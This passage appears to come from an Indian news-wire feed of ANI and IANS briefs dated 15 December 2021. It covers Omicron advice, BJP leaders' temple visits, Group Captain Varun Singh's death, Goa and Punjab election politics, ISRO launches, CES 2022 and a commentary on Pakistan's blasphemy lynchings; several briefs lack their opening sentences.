the virus have caught the infection, it is not a matter of concern as those patients have only exhibited mild symptoms. We should be watchful against severe cases or fatalities due to this new variant, not the milder cases," observed Dr Aggarwal. However, the expert emphasized on keeping one's guard up against the infection. "We need to be watchful. We need to keep an eye and make sure that we take precautions to prevent the spread of this infection. We need to use the masks regularly. We also need to avoid crowding and vaccination," he said. Speaking on the requirement of booster doses to check the spread of Omicron, the health expert asked people not to panic as no relation between a booster dose and immunity against Omicron has been ascertained yet. "There is no need to panic as with the data available as of today, I don't think everybody needs a booster dose or that there is really a very close relation between booster dose and Omicron. The experts are keeping an eye on whether there is a need for a booster dose. They have discussed and then taken a decision. As of now, it appears that there is not much role of a booster dose in the country considering a large proportion of our population is already vaccinated or have had exposure to the virus," said Dr Aggarwal. Detected in South Africa, Omicron, the latest COVID variant which is also "highly transmissible" has now been reported in six states in the country. Several studies are going on at present to understand the contagiousness of the virus and the effectiveness of existing vaccines against it. Amid a surge in cases of Omicron variant in the country, the Ministry of Civil Aviation on Tuesday issued new guidelines for international travellers from 'at-risk' countries arriving at six major airports to mandatorily prebook an RT-PCR test starting December 20. (ANI) This was the first such visit by the BJP chief to the Ram Janmbhoomi after the Supreme Court's verdict on the issue. The group's visit assumes significance as Uttar Pradesh is scheduled for Assembly polls early next year. The scheduled visit also includes offering prayers at Hanuman Garhi temple and Saryu Ghat. The BJP national president is being accompanied by his wife on the visit, and the families of the CMs will also be a part of the convoy. The BJP chief arrived in Varanasi on Sunday ahead of the inauguration of phase 1 of the newly-constructed Kashi Vishwanath Dham by Prime Minister Narendra Modi. Earlier on Tuesday, the Prime Minister, who was on a two-day visit to his parliamentary constituency Varanasi, chaired a meeting with the Chief Ministers and Deputy Chief Ministers of BJP-ruled states in Varanasi. Nadda was also present in the meeting. (ANI) Prime Minister Narendra Modi will address farmers and scientists across the country on Thursday in the ongoing summit on natural and zero-budget farming being held in Gujarat. The national three-day summit on natural farming commenced on December 14 and is scheduled to conclude on December 16. The Prime Minister will virtually address the farmers during the valedictory session at 11 am. Union Home Minister Amit Shah, Union Agriculture Minister Narendra Singh Tomar, Gujarat Chief Minister Bhupendra Patel and Governor Acharya Devvrat will also address the summit, informed BJP's National General Secretary Arun Singh while briefing media persons on Wednesday. "The Prime Minister will address the ongoing summit on natural and zero-budget farming being held in Gujarat tomorrow. BJP will set up screens in every mandal and invite farmers to watch the Prime Minister's address. The programme will start from 11 am and will continue till 1 pm," Singh said. The BJP leader further informed that as per details presently available, 9,500 mandals have been set up which will be installed with screens. "The Prime Minister is working towards doubling farmers income. We are looking at promoting natural farming so that the production costs of farmers are reduced and incomes are increased, Singh said. "A big revolutionary change is about to come, which is going to benefit farmers. BJP workers at different places across the country will tune into the Prime Minister's address," he added. As per an official statement from Prime Minister's Office, PM Modi will address the farmers during the valedictory session of the national conclave. Farmers will be provided with all requisite information detailing the benefits of adopting natural farming methods. "Zero Budget Natural Farming is a promising tool to minimize the dependence of farmers on purchased inputs, and reduces the cost of agriculture by relying on traditional field based technologies which lead to improved soil health. Desi cow, its dung and urine play an important role from which various inputs are made on the farm and provide necessary nutrients to soil. Other traditional practices such as mulching the soil with biomass or keeping the soil covered with green cover round the year, even in the very low water availability situations, ensure sustained productivity even from the first year of adoption," PMO had said in a statement. (ANI) However, the court directed him to appear before Delhi's Special Investigation Team (SIT) whenever summoned. Aryan Khan along with other accused Arbaaz Merchant and Munmun Dhamecha were granted bail by the High Court on October 28 in the drugs-on-cruise case. An NCB team busted an alleged drugs party on the Cordelia Cruise ship which was on its way to Goa at mid-sea on October 2 night. Eight persons were detained for questioning by the Narcotics Control Bureau (NCB) in connection with the case. Eight people were later arrested on October 3 including, Aryan Khan, Arbaaz Merchant, and Munmun Dhamecha. Later, a total of 20 people were arrested in connection with the case. (ANI) The BJP, if elected, would bring back the golden age in Punjab, which now has a debt of Rs 4 lakh crore, promised Union Minister Gajendra Singh Shekhawat on Wednesday. Speaking to reporters here on Tuesday, Shekhawat who is also the election in-charge of Punjab, said, "Punjab, which was number 1 (in 1981), till recently now stands at number 16 in regard to GDP and has a debt of over Rs 4 lakh crore. We will bring back the golden age of the state." Earlier on Tuesday, Former Punjab Chief Minister and Punjab Lok Congress (PLC) chief Captain Amarinder Singh told that his party will share seats with the BJP. He said that BJP is also in discussion with Sukhdev Singh Dhindsa. He hopes that soon the seats will be agreed and the new government will protect the interests of the state. Captain Amarinder Singh said that the mission of his party is not only to defeat Congress in the upcoming assembly polls in the state but also to form a government. Punjab is slated to go to Assembly polls next year. (ANI) Karnataka Chief Minister Basavaraj Bommai on Wednesday expressed profound grief over the demise of Group Captain Varun Singh, who was the lone survivor of the military chopper crash in Tamil Nadu last week, stating that the "the nation has lost a brave soldier". Expressing his grief on Twitter, Chief Minister of Karnataka said, "Extremely saddened by the passing away of Group Captain Varun Singh. The nation has lost a brave soldier. I extend my deep condolences to his family. Om Shanti." Group Captain Varun Singh, who was on life support in the Military Hospital at Wellington in Coonor, was later shifted to Command Hospital in Bengaluru and all efforts were being made to save his life. However, he succumbed to his injuries at the Command Hospital. Meanwhile, Congress leader Rahul Gandhi also expressed his condolences over the demise of Group Captain Varun Singh and said that this is the "sad moment" for the country. "My heartfelt condolences to the friends and family of Group Captain Varun Singh. This is a sad moment for the country. We all are with you in this grief," Gandhi said in a tweet. Chief of Defence Staff (CDS) General Bipin Rawat, his wife Madhulika Rawat and 11 other defence personnel had lost their lives in the tragic chopper crash on December 8. (ANI) A Bench headed by Justice L Nageswara Rao said the advertisement issued by the Delhi government inviting applications for electric-autorickshaws cannot be said to be arbitrary as it is in conformity with the FAME-II scheme and the Electric Vehicle policy 2020. Citing how locals in Delhi are adversely affected by air pollution, the bench said even though CNG auto-rickshaws are BS-VI compliant, there is still some carbon emission. Bajaj Auto approached the apex court stating that the Delhi government's move was arbitrary and discriminatory against those who manufacture CNG auto rickshaws. Delhi government has opposed the plea of Bajaj Auto saying CNG auto rickshaws cannot be compared to e-autos and there is a proposal to switch to electric vehicles with a view to decarbonise the transport sector. (ANI) Following the demise of IAF Group Captain Varun Singh, who was injured in the Tamil Nadu chopper crash, Bharatiya Janata Party (BJP) National President JP Nadda on Wednesday said he did not belong to only one family but to the entire country. "Group Captain Varun Singh did not belong to only a single family but to the entire country. He was always determined to serve the country. My condolences to his family," said Nadda while speaking to ANI. Union Home Minister Amit Shah also condoled the death of the Group Captain and said "Deeply pained to learn about the passing away of Group Captain Varun Singh, who was battling with the injuries after the helicopter accident in Coonoor. May God bless the Brave's soul and give strength to his family. My deepest condolences. Om Shanti Shanti Shanti." Group Captain Singh, the lone survivor of the chopper crash that killed CDS General Bipin Rawat, his wife and 11 others on December 8. Group Captain Varun Singh, who was on life support in the Military Hospital at Wellington in Coonor, was later shifted to Command Hospital in Bengaluru for further treatment where he died on Wednesday. (ANI) Having put 216 pieces of military equipment on the negative import list, the Department of Military Affairs is now working with the three armed forces and other stakeholders to place orders for these items with Indian industry. Last year, the Defence Ministry under the DMA headed by late Chief of Defence Staff Gen Bipin Rawat had come out with two lists of 108 items each which had to be mandatorily acquired from local industry with exception only during emergencies. The list, known as the 'Positive List of Indigenisation' had equipment such as artillery guns, submarines and multiple spares and small parts in it. "The next big push to the domestic industry would be through this list as now the Prime Minister's Office has asked us to follow up the positive list with orders for the industry," sources in the DMA told ANI. The sources said the list is being prepared and would be followed up with the stakeholders soon. This list was prepared by General Rawat after holding several rounds of consultations with government and private manufacturing industries to assess future capabilities of Indian industry which will be able to meet the requirements of the Armed Forces. "The defence industry can now use the opportunity to build robust Research and Development facilities and also enhance the self-reliance pursuit of the nation. The second positive list also provides an excellent opportunity for 'start-ups' as MSMEs will also get a tremendous boost from this initiative," defence officials said. (ANI) "Today, we recall Indira Gandhi with great pride. She remains an inspiration to crores of Indians for her boldness and resilience. 1971 was in many ways Indira Gandhi's finest year," Sonia Gandhi said at an event in Delhi marking the celebration of 50 years of the Bangladesh liberation war. Sonia Gandhi further said that Indira Gandhi, during the war immediately reached out to all political parties and public figures, wrote to President and Prime Ministers, dispatched emissaries abroad, ensured USSR was with India, travelled to Western capitals, sensitized the entire world community to the cause of the people of Bangladesh. Heaping praises for Indira Gandhi, Sonia said, "She (Indira Gandhi) continues to evoke admiration for her fierce determination to make India self-reliant especially in agriculture, nuclear energy and space technology." Sonia Gandhi further remarked that India stood by Bangladesh during its liberation war and gave home to 10 million refugees. "50 years ago the courageous people of Bangladesh gave themselves a new future. India stood by their side in solidarity and gave home to 10 million refugees. Freedom fighters of Bangladesh must be remembered," she said. The Congress chief further noted that India raised the voice of Bangladesh in regional and global forums. (ANI) The 'Swarnim Vijay Gatha' event will be held at Victoria Memorial, Kolkata on Thursday to culminate the celebrations of 'Swarnim Vijay Varsh', an event to commemorate the glorious victory of the country in the 1971 war, said a press statement from the Ministry of Defence. Indian Armed Forces secured a decisive victory over Pakistan which resulted in the Liberation of Bangladesh in 1971. It was the largest military surrender after the Second World War and the Indian Armed Forces along with Mukti Bahini liberated Bangladesh in a span of just 13 days. To commemorate the glorious victory of 1971, the year 2021 was marked as 'Swarnim Vijay Varsh' and Prime Minister Narendra Modi had lit the Victory Flame to mark the beginning of Swarnim Vijay Varsh celebrations. Various events were organised by the Indian Army at many locations in West Bengal and all North-East states throughout the year. 'Swarnim Vijay Gatha' will showcase a variety of events to include a customised light and sound show on the walls of Victoria Memorial depicting the story of War of Liberation of Bangladesh. The symphonic military band of Eastern Command would also perform patriotic and martial tunes with three military and two Jazz bands which will feature 76 musicians participating in the concert. The 'Swarnim Vijay Gatha' will commence at 5:00 pm on December 16, 2021 at Victoria Memorial, Kolkata and would be aired LIVE on the Youtube channel: https://youtube.com/channel/UCChhAAisDNuXHEwE8_ebkSg and Eastern Command Facebook page: Eastern Command_Indian Army. The event would be graced by War Veterans, senior military commanders, and other eminent personalities including the State and Civil Administration. (ANI) Earlier today, the Maharashtra ATS brought gangster Pujari to Mumbai after he was arrested and extradited from the Philippines, said the State ATS. As many as 43 cases are registered against him across Maharashtra. Further details are awaited. (ANI) Chief Minister K. Chandrashekar Rao is visiting temples, which is okay, but the temples he should visit are the houses of martyrs who lost their lives for the cause of separate Telangana, said Congress national spokesperson Sravan Kumar Dasoju on Wednesday. Speaking to ANI on Tuesday, Dasoju said, "CM KCR is visiting numerous temples for the blessings of God; it is okay. But the temples that KCR should visit are the houses of the martyrs who laid down their precious lives for the cause of separate Telangana." "Telangana as a state came about because of everyone's struggle. The struggle of the people from all walks of life, more importantly after the self-sacrifice of thousands of young martyrs. But today the TRS government is casting a blind eye to this reality out of arrogance. It is wrong for the Telangana Rashtra Samithi government to insult the families of the martyrs and not do justice to them," he added. The Congress spokesperson alleged that none of the promises made during the state elections have been fulfilled. "The assistance of Rs 10 lakh to each family of martyrs and a government job for one of the family members, a gigantic martyrs' monument construction: the tallest structure in Hyderabad. Welfare Schemes for the families. Construction of Martyrs' Memorial Forest in the same area. Establish an ever-burning lamp at the site were all promised. But ever eight years later, justice has not been done to the martyrs. Not a single promise written in the Manifesto was fulfilled," he said. "The power which the TRS government and its leaders are enjoying today is the result of the sacrifices of the martyrs. Do not forget that TRS leaders are sitting on pools of blood of martyrs," Dasoju added. (ANI) Bharatiya Janata Party MP Raju Bista on Wednesday slammed West Bengal Chief Minister Mamata Banerjee's remark that she belongs to a Brahmin family and said she should think whether she is really a Hindu as Hinduism does not promote violence. Earlier on Tuesday, Mamata had said at a rally in Goa, "I chant Chadipath every day. I also belong to a Brahmin family. I am a Brahmin. But my identity is I am a human being. I do not need to take a character certificate from BJP. India is a secular country. You cannot isolate minorities." Speaking to ANI, Bista said, "Mamata Banerjee should think whether she is a Hindu. We have seen two leaders Rahul Gandhi and Mamata Banerjee on TV claiming to be Hindus. But we have not heard Prime Minister Narendra Modi saying that he is a Hindu because people become Hindu by their deeds. We are Hindu by deeds as well as by birth. Hinduism never propagates violence." Talking about the post-poll violence in West Bengal, the BJP MP said that Hinduism does not promote such acts. "Hindu never propagates such acts. Hinduism is nationalism," he said. Regarding Banerjee's criticism of the Centre's decision to increase the jurisdiction of the BSF in some states, he said, "A Hindu never condemns the country's army and BSF. I feel there is a need to be a Hindu by deeds. The kind of violence that is happening to the Hindu population is happening because of Mamata's rule. She should think whether she really is a Hindu." TMC and Maharashtrawadi Gomantak Party (MGP) formed an alliance for the forthcoming Goa Assembly polls. The TMC aggressively started campaigning for the upcoming polls after former Goa Chief Minister Luizinho Faleiro joined the party. Faleiro joined TMC in the presence of Abhishek Banerjee after resigning from the Congress party. Goa is scheduled to go for the Assembly polls in early 2022. Goa Assembly has a strength of 40 members out of which BJP currently has 17 legislators and enjoys the support of legislators from Maharashtrawadi Gomantak Party (MGP), Vijay Sardesai of the Goa Forward Party (GFP) and three independents. GFP and MGP each have three MLAs. Congress, on the other hand, has 15 MLAs in the house. (ANI) The FIR has been lodged based on a complaint filed by a functionary of Hindu Yuva Vahini. According to the complaint, the AAP MP insulted the national flag during his 'Tiranga Yatra' at the Loni border area on December 12. An investigation into the matter is underway. (ANI) Rashtriya Swayamsevak Sangh chief Mohan Bhagwat on Wednesday administered a Ghar Wapasi oath to those who had left Hinduism and were now returning to this faith at the event Hindu Ekta Mahakumbh in Chitrakoot. Administering the oath, Bhagwat recited, "I pledge that I will work throughout life for the sake of my pure Hindu religion, Hindu culture and society. I pledge that I would not let my Hindu brothers leave the religion and the ones who have left the religion, I will work for their Ghar Wapasi (return) and make them a part of the family." (ANI) As per a press release issued by PRO Defence, Srinagar, the terrorist, identified as Feroz Ahmed Dar, is a category "A+" terrorist and self-styled District Commander of Hizbul Mujahideen (HM). He had joined HM on May 27, 2018 and was likely recruited by HM terrorist Adil Ahmed Wani. "He was suspected to be involved in attacks on vehicles of security forces and terrorizing the local population into assisting other terrorists and OGWs," added the release. According to the release, the Army and Jammu and Kashmir Police launched a search operation and joint cordon in the Uzrampathri village where the terrorist had forcefully entered into one of the houses. "Intermittent exchange of fire between the terrorist and forces continued till night. The terrorist was subsequently neutralized around 5:00 am on December 15, 2021," said the release. One AK-47 and other warlike stores have been recovered from the encounter site. (ANI) General Officer Commanding, Jaipur Sub Area flagged off the Motorcycle Expedition from Jaipur Shahid Sthal, informed an official statement issued by Col Emron Musavi, PRO (Def), Srinagar. The Regiment ex Dhanurdhari Brigade under Fire and Fury Corps undertook this motorcycle expedition. According to the statement, it commemorated the valiant and supreme glorybestowed by its veterans in 1971 Operations, crowning the Regiment with the Battle Honour of Parbat Ali. Remembering the martyrs, the riders jubilantly hoisted the Indian Army andArtillery Flag at Munabao Railway Station. (ANI) As per a press release issued by the IAF, the mortal remains of Group Captain Singh are expected to arrive in Bhopal by 3 pm tomorrow and the funeral will take place on Friday. Chief of Defence Staff (CDS) General Bipin Rawat, his wife Madhulika Rawat and 11 armed forces personnel were killed in the Mi-17V5 helicopter crash near Tamil Nadu's Coonoor on December 8. Group Captain Varun Singh, who was the lone survivor of the crash, was on life support in the Military Hospital at Wellington in Coonor. He was later shifted to Command Hospital in Bengaluru and all efforts were being made to save his life. However, he succumbed to his injuries in the afternoon today. Group Captain Singh belongs to Bhopal and graduated from the National Defence Academy in 2003. He was commissioned as a fighter pilot in 2004 and mainly flew Jaguars and Tejas during his flying career. He was an experimental test pilot and was conferred with the Shaurya Chakra on August 15 this year. He was posted to Defence Services Staff College as an instructor when he passed away. He is survived by his wife, a son and a daughter. President Ram Nath Kovind, Prime Minister Narendra Modi, Union Home Minister Amit Shah, Union Defence Minister Rajnath Singh and many others condoled the demise of Group Captain Singh. (ANI) The family members of a robbery suspect in Begumpur area of Delhi's Rohini district alleged that a Delhi police team that had come to apprehend him showed cruelty towards him. The family members also alleged that the police initiated a fight between the family's pet and their pitbull in which the pet was killed, but the police said the pitbull did not belong to them. The Metropolitan Magistrate of Rohini Court has ordered an inquiry under the supervision of a Joint Commissioner. On the allegation of cruelty by the suspect, the police said that they will again get the medical test of the suspect and an investigation into the matter is underway. The incident took place on December 8 when the police raided the house of the accused, identified as Prince Gill from the CCTV footage. He locked the door from inside. Upon repeated requests by the team of Delhi police, they did not open the door. As a result, the police had to break into the house, upon which the pet of the accused started attacking the team at the behest of the accused, as per the statement of Delhi Police. "Another pitbull dog of a bystander entered the premises and subsequently a dog fight ensued," added the statement. However, the family of the accused claimed that it was the dog belonging to the police and released a video of the cops initiating a dogfight between the pitbull and the family pet. Later, the police apprehended the suspect and recovered cash worth Rs 92,000 from his residence. The suspect was allegedly involved in a spate of robberies in the area. The police have also recovered a bike, helmet and fake number plates allegedly used in committing the offence. The co-accused in the case, Billa, is at large. Further investigation into the matter is underway. (ANI) A statement from Chief Minister's Office said, "Milind Naik has tendered his resignation as Minister in Government of Goa, to ensure a free and fair probe, which has been accepted and sent to the Governor." Earlier in the day, Goa Congress President accused Naik of being involved in a "sex scandal". This comes ahead of the Assembly polls, which is scheduled for early 2022. Goa Assembly has a strength of 40 members out of which BJP currently has 17 legislators and enjoys the support of legislators from Maharashtrawadi Gomantak Party (MGP), Vijay Sardesai of the Goa Forward Party (GFP) and three independents. GFP and MGP each have three MLAs. Congress, on the other hand, has 15 MLAs in the house. (ANI) The police have recovered bombs from five places in the last six days. Two explosions also rocked two different places in which 2 persons were killed. On Wednesday, a bomb was recovered from Bhagalpur's Handiapatti village. The ATS suspects a terror angle in these seizures and explosions. The district police have seized two 'container bombs' and two 'tiffin bombs' which are generally used by the terrorists for blasts. On December 9, a bomb exploded at a railway track following which one person was killed. During a search, the police team recovered two live bombs from the place. On December 11, two children sustained minor injuries after a bomb exploded in Momin Tola under Nathnagar police station. A 'tiffin bomb' exploded at Makhdum Shah Dargah Ghat on December 13, killing a minor. While playing, the child found a brand new tiffin box. When he opened the box, it exploded and took his life. On December 14, two 'container bombs' were recovered from Saidpur village under Jagadishpur police station. Another bomb was recovered from Handiapatti village under Nathnagar police station on December 15. --IANS ajk/pgh/bg ( 225 Words) 2021-12-15-19:32:22 (IANS) In reply to a question in the Lok Sabha, the Minister informed that in addition, 286 commercial satellites from domestic as well as foreign customers and 8 student satellites from Indian universities were also launched during the aforementioned period. Singh said that some of the major space missions include first operational flight of India's heavy lift launch vehicle GSLV Mk-III which placed India's second lunar mission, Chandrayaan-2 into orbit; Advanced Cartography satellite, Cartosat-3; completion of NavIC constellation; launch of South Asia Satellite; launch of heaviest and most-advanced high throughput communication satellite, GSAT-11 and launch of record 104 satellites in a single PSLV flight. Apart from these, three technology demonstrators namely Scramjet engine, reusable Launch Vehicle and test for Crew Escape System were also successfully demonstrated during this period, the Minister added. Singh said that the Department of Space has charted out short-term and long-term plans in the areas of Space Transportation Systems, Satellite Communication and Navigation, Earth Observation, Space Sciences and Planetary Exploration, Capacity Building and Space-based applications. --IANS sk/pgh ( 221 Words) 2021-12-15-19:39:18 (IANS) Bharatiya Janata Party leader and Leader of Opposition in Maharashtra Legislative Assembly Devendra Fadnavis on Wednesday said the party "will not tolerate future elections without OBC reservation." Speaking to the media here in Nagpur, Fadnavis said, "Supreme Court has made it clear that the empirical data with the Central government is not useful for the triple test. The Constitutional bench has said that for the triple test, the data will be prepared by the State Backward Commission." Fadnavis added that for the last 2 years, the state govt did not do it and only raised finger towards the Central government. "We appeal to the govt to complete this process in three months. We will not tolerate future elections without OBC reservation," he added. Earlier, on December 6, the apex court had stayed the 27 per cent reservation for the Other Backward Classes (OBC) in the local body election of Maharashtra until further orders. In September, the Maharashtra government had brought an ordinance to ensure reservation to OBC candidates of rural local body elections six months after the Supreme Court struck down the 27 per cent reservation available stating that it has breached the cap mandated by the top court. The government promulgated the Ordinance to amend the Maharashtra Zilla Parishads and Panchayat Samitis Act, 1961 and Maharashtra Village Panchayat Act for Zilla Parishads, Panchayat Samiti and Gram Panchayats. On March 4, the apex court ruled that the reservation for OBC in local bodies should not result in exceeding the 50 per cent cap in reservation quota mandated by it. The pleas contended that the Ordinances provide for 27 per cent reservation to the category of Backward Classes of Citizens was contrary to the judgements of the top court. (ANI) The flight, that arrived from Kazakhstan, carried 159 passengers including an infant. Passengers were tested for COVID-19 upon their arrival. Speaking to ANI, Goa Airport Director, Gagan Malik told ANI upon the arrival of tourists, "I think it's very important. It opens up a new dawn for Goa after a two-year-long night. It is going to have a huge difference on the economy of Goa. The first flight had 158 passengers plus one infant. We are very rigid about COVID protocols." Meanwhile, Goa health minister Vishwajit Rane informed that Goa reported 52 fresh COVID-19 cases on Wednesday. The city has 391 active cases. (ANI) "We are conducting a Coronavirus focus sampling drive which will go on for the next 10 days beginning from December 15. On the first day of the drive we are taking samples of tempo, bus, taxi and truck drivers," says Dr MC Garg, Chief Medical Officer, Moradabad. The drive will focus on hospital staff, government officials, school students and teachers in the coming days. "Twenty teams have been deployed by the health department, the same teams will organise corona testing points at the bus stand and railway station like earlier," says Garg. "We are running this drive so that we can figure beforehand if cases of Coronavirus are increasing," he added. One case each of COVID-19 variant Omicron has been reported in Tamil Nadu and West Bengal on Wednesday. Maharashtra, Kerala, Delhi, Rajasthan, Karnataka, and Gujarat have also reported cases of the new variant. India has logged 6,984 new COVID-19 cases and 247 deaths in the last 24 hours, the Union Health Ministry informed on Wednesday. According to the Ministry of Health and Family Welfare (MoHFW), India's active caseload currently stands at 87,562. (ANI Delhi Lieutenant Governor Anil Baijal has written to Delhi Chief Minister Arvind Kejriwal asking to release Rs 328 crore to North Delhi Municipal Corporation (NDMC) to resolve the issue of non-payment of salaries of employees. In his letter to Kejriwal, Lieutenant Governor said that this move came after the NDMC commissioner wrote to him explaining the critical financial condition of the Corporation resulting in non-payment of salaries to the majority of the employees of the Corporation since September 2021 leading to unrest and dissatisfaction amongst the employees thus affecting the delivery of essential services. In his letter to Kejriwal, Baijal said, "It has been informed that the budget estimates of 2021-22 for North DMC have been reduced by Rs 328.60 crore. Additional financial liability on account of payments of DA (Rs 240 crore) and pending salaries and pensions resulted in the present financial crisis." He further said that the North DMC has requested that an amount of at least Rs 328 crores deducted as per the revised estimates may be released on an urgent basis for immediate payment of pending salaries and pension. "In view of the above, I will be grateful if the above request of North DMC for release of Rs 328 crore can be considered favourably in the larger public interest," he said in the letter. (ANI) While speaking to the media before leaving for Ayodhya, here in Varanasi, Chouhan said, "A proud, prosperous nation is being built under PM Modi's leadership and it can be felt after coming to Kashi. India is experiencing multidimensional development. PM Modi gave a new direction to development." He added that with fresh vigour and after getting inspired to work, we are heading out of here. "We will have the darshan of Ram Lalla. We are filled with great joy over the course of these three days. We are leaving from here with fresh inspiration." Bharatiya Janata Party National President JP Nadda along with the Chief Ministers of 12 BJP-ruled states, offered prayers to 'Ram Lalla' after visiting the Ram Temple construction site on Wednesday. Earlier on Tuesday, the Prime Minister, who was on a two-day visit to his parliamentary constituency Varanasi, chaired a meeting with the Chief Ministers and Deputy Chief Ministers of BJP-ruled states in Varanasi. Nadda was also present in the meeting. (ANI) Jagdamba ki Jai Ho! Those were the words spoken during the 1971 India-Pakistan war by a wounded yet determined and courageous 2nd Lt Arun Khetrapal, when he went on to destroy Pakistani battle tanks, undeterred by the injuries he had sustained. Risaldar Prayag Singh, who was the driver of Khetrapal's tank named 'Famagusta', during a conversation with IANS shared the details of the last day of the war. "Khetrapal was a devotee of 'Maa Jagdamba' and raised these slogans to infuse motivation," he said. Narrating the war story, Singh said: "The 17 Poona Horse was assigned to the command of the 47th Infantry Brigade during the India-Pakistan War of 1971, which was involved in the Battle of Basantar in the Shakargarh sector. The brigade had to build a bridgehead across river Basantar. On December 15, it captured its objective, despite it being filled with extensive mines by the enemy, preventing deployment of tanks of Poona Horse." Singh from 17 Horse said: "It was a joint operation by 17 Horse, 4 Horse (two armoured regiments), 16 Madras and 3 Grenadiers. The engineers cleared the mines halfway while the Indian troops noticed alarming activity of the enemy armour asking for air support. At this juncture, the 17 Poona Horse decided to push through the minefield." "On December 16, Pakistani armour launched its first counter-attack. The commander of the squadron immediately called for reinforcements. Second Lt Arun Khetarpal from a squadron stationed close by responded promptly, along with the rest of his regiment and launched a ferocious counter attack." "He was able to subdue the enemy advance with his tanks successfully. However, during the battle, the commander of the second tank got injured. Left alone as the in-charge, Khetrapal continued his attack on the enemy. However, the enemy did not retreat despite heavy casualties. Khetrapal attacked the incoming Pakistani troops and tanks, taking down an enemy tank in the process. However, Pakistani forces counter-attacked. In the ensuing tank battle, Khetrapal with two remaining tanks held his ground and destroyed 10 enemy tanks." "However during the fierce tank battle, Khetrapal's tank was hit by enemy fire, but he did not abandon the tank... instead, he kept fighting. The tank was hit by fire and he had injured his legs. I climbed on the tank and doused the fire. But in the meantime, he was martyred," said Singh. His final words over the radio to a superior officer who ordered him to abandon his burning tank were, "No Sir, I will not abandon my tank. My main gun is still working and I will get these b******s." Saying these words, he set about destroying the remaining enemy tanks. The last enemy tank, which he shot, was barely 100 metres from his position. At this stage, his tank received a second hit and the shell entered the tank through its cupola, ripping his stomach. Khetarpal met a hero's death, trying to deny the Pakistani Army the intended breakthrough. The enemy could not get the passage it was so desperately seeking and not a single enemy tank could get past him. "I also received bullet injury in my leg which slowly healed," said Singh. "While 2nd Lt Khetrapal got Param Vir Chakra, I got my name Mention-in Despatch which describes a member of the armed forces whose name appears in an official report written by a superior officer and sent to the high command, in which their gallant or meritorious action in the face of the enemy is described," Singh said. --IANS arc/pgh ( 607 Words) 2021-12-15-22:46:11 (IANS) Samsung and LG Electronics, South Korea's two biggest consumer electronics companies, will unveil a slew of innovative products at the upcoming Consumer Electronics Show (CES) set to open early next month in Las Vegas. The two companies are among the approximately 1,700 businesses from around the world and about 300 South Korean companies that will attend the event to showcase their consumer electronics and latest technologies, promising to change the way people live their lives. While the number of participating companies are less than half the pre-pandemic levels, CES 2022, slated for January 5-8, will be back in-person after going fully online this year amid the pandemic that has upended lives around the globe. Samsung Electronics is expected to showcase its new TV products that use self-emitting quantum-dot (QD) displays and OLED technology, which the tech company says offers much more vivid colours, exceptional contrast and higher energy efficiency, reports Yonhap news agency. People's expectations have gathered steam as Samsung Display Co., the display panel-making arm of Samsung Group, started mass production of QD OLED displays last month, in a gradual transition to more profitable, high-end QD displays from LCD panels. Samsung Electronics leads the global TV market, with a more than 30 percent market share by sales. When it comes to the upscale, high-end OLED TV market, however, Samsung trails its domestic rival, LG Electronics Inc., a dominant player in the segment with a more than 60 percent market share. On the mobile front, Samsung is forecast to unveil the Galaxy S21 FE, touted by the company as "a tribute to Galaxy fans," the most affordable phone in Samsung's premium S20 line. The previous model, the Galaxy S20 FE, had its own Unpacked event in September 2020. LG will unveil its Lifestyle TV lineup, canvas-looking LG Objet TV and movable LG StanbyME, which the company said were "the perfect solutions for today's multifunctional homes where working, learning, entertaining and relaxing are all part of the daily mix." The LG Object TV comes with an interchangeable fabric cover that will add artwork-like elegance and an aesthetic touch to one's home. The LG StandbyMe is fitted with a wireless screen that can be swiveled and rotated, a built-in battery and a moveable stand. --IANS wh/svn/dpb ( 387 Words) 2021-12-15-13:42:59 (IANS) The Sialkot incident, where the Islamist mob accused a Sri Lankan factory manager Priyantha Kumara Diyawadana of blasphemy and then burnt his dead body, shows that Pakistan is incapable of reforming and stepping back from the Islamist path it embarked right from its creation. Sergio Restelli, writing in Inside over said that blasphemy, barbarism has burnt brand Pakistan - the Land of the Pure. What happened in Sialkot has happened innumerable times in the past and the only novelty of the Sialkot incident is that this is the first time a foreigner has been lynched and murdered by a fanatical Islamist mob. Diyawadana's Christian faith made his killing so much more palatable for the mob because Christians in Pakistan have been facing the brunt of the attacks in the name of blasphemy, said Restelli. Not long back a bank guard gunned down the bank manager after accusing the latter of blaspheming. A young college professor has been imprisoned for over 8 years because some students accused him of blasphemy. A Christian couple was beaten up and in front of their children were burnt alive in a brick kiln, reported Inside over. There are countless incidents where blasphemy is alleged to settle scores with rivals. That the Blasphemy law in Pakistan is a bad law is not the problem. There are many laws that are bad and liable to be misused. But no one has the courage to reform or amend the law. The moment someone is accused of blasphemy, a lynch mob is ready to mete out instant punishment - death. If by chance, an accused escaped being lynched, he/she will spend many years in prison because courts are afraid to give bail, lawyers terrified to defend the accused, said Restelli. Mumtaz Qadri, the assassin of former Punjab Governor Salman Taseer, is a prime example. Qadri has a shrine made in his honour while Taseer did not even get a decent burial because no cleric was ready to administer his funeral rites, and even his political colleagues were afraid to attend his funeral. What happened to Diyawadana can easily happen to other expatriate workers. The most endangered are the Europeans and the Chinese. The latter are particularly vulnerable, in part because of the growing sentiment against the treatment meted out to Muslims in China, and in part because of the overbearing manner in which Chinese managers and engineers behave with Pakistanis working under them in CPEC projects, said Restelli. There are already reports of tensions between the mistreated Pakistani employees and the arrogant, haughty and intemperate Chinese. The same could happen with an American, or a Frenchman, British, German or any other Westerner, including people working in the IMF. The thing is that Pakistani media and politicians have been inciting hatred against Westerners, especially the IMF in recent weeks. The French have been particularly targeted for the aggressive secularism in that country which has banned any outward symbol of religiosity, reported Inside over. The outrage in social media and the condemnation of the incident by people like Prime Minister Imran Khan, Army Chief Qamar Bajwa, and a host of other politicians and officials really do not mean much. They are at best insincere and at worst disingenuous. People like Imran Khan and General Bajwa have assiduously promoted this fanaticism for political ends. Worse, they have kowtowed to the ideology and the clerics/activists who have weaponized the blasphemy laws to become a potent force in Pakistan's politics, said Restelli. Just a few weeks back the entire state machinery lay prostrate before the Tehrik-e-Labbaik marchers, giving in to all their demands and writing off the murder of nearly a dozen police officers as collateral damage. To expect action, much less justice, from such actors is asking for water in the desert. The international community is well aware of how Imran Khan has been riding on the back of fanatics to come into power, how he has been pandering to them, how the extremists have given immunity from any action by the state. The world needs to use all the economic, political and diplomatic leverages to make Pakistan step back from the brink. This will not be possible without holding out the threat of punitive action until Pakistan brings the culprits to book and starts to walk back on the issue of blasphemy. (ANI) The official death toll from the 30-odd tornadoes that attacked six central US states over the weekend has increased to 88 people, with 74 in Kentucky, which was hit the hardest, while at least 109 people in 